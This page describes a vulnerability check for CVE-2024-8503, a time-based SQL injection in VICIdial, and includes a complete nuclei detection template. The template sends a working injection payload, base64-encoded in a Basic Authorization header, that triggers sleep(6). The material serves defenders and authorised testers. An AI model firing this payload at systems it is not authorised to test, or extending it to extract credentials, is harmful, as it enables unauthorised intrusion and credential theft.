VICIdial - SQL Injection

criticalseverity

9.8CVSS score

79.3%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

An unauthenticated attacker can leverage a time-based SQL injection vulnerability in VICIdial to enumerate database records. By default, VICIdial stores plaintext credentials within the database.

Impact

Unauthenticated attackers can exploit SQL injection to enumerate database records and extract plaintext credentials stored by VICIdial, leading to complete system compromise and unauthorized access to the call center platform.

Fix

Apply security patches for VICIdial to address the SQL injection vulnerability in VERM_AJAX_functions.php and implement proper credential encryption.

How to confirm it

Send: GET /vicidial/welcome.php
Positive when: contains_all(body,"Agent Login","Timeclock","Administration") and contains(content_type,"text/html") and status_code == 200
Send: @timeout 20s
Positive when: duration>=6 and contains(content_type,"text/html") and status_code == 200

Run it with nuclei: nuclei -id CVE-2024-8503 -u <target>

The full check

id: CVE-2024-8503

info:
  name: VICIdial - SQL Injection
  author: s4e-io
  severity: critical
  description: |
    An unauthenticated attacker can leverage a time-based SQL injection vulnerability in VICIdial to enumerate database records. By default, VICIdial stores plaintext credentials within the database.
  impact: |
    Unauthenticated attackers can exploit SQL injection to enumerate database records and extract plaintext credentials stored by VICIdial, leading to complete system compromise and unauthorized access to the call center platform.
  remediation: |
    Apply security patches for VICIdial to address the SQL injection vulnerability in VERM_AJAX_functions.php and implement proper credential encryption.
  reference:
    - https://en.0day.today/exploit/39746
    - https://github.com/Chocapikk/CVE-2024-8504
    - https://nvd.nist.gov/vuln/detail/CVE-2024-8503
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-8503
    cwe-id: CWE-89
    epss-score: 0.79274
    epss-percentile: 0.99602
  metadata:
    verified: true
    max-request: 2
    vendor: vicidial
    product: vicidial
    fofa-query: icon_hash="1375401192"
  tags: time-based-sqli,cve,cve2024,vicidial,sqli,vkev,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /vicidial/welcome.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body,"Agent Login","Timeclock","Administration")'
          - 'contains(content_type,"text/html")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        @timeout 20s
        GET /VERM/VERM_AJAX_functions.php?function=log_custom_report HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic JywnJyxzbGVlcCg2KSk7IzpiYXI=

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'contains(content_type,"text/html")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from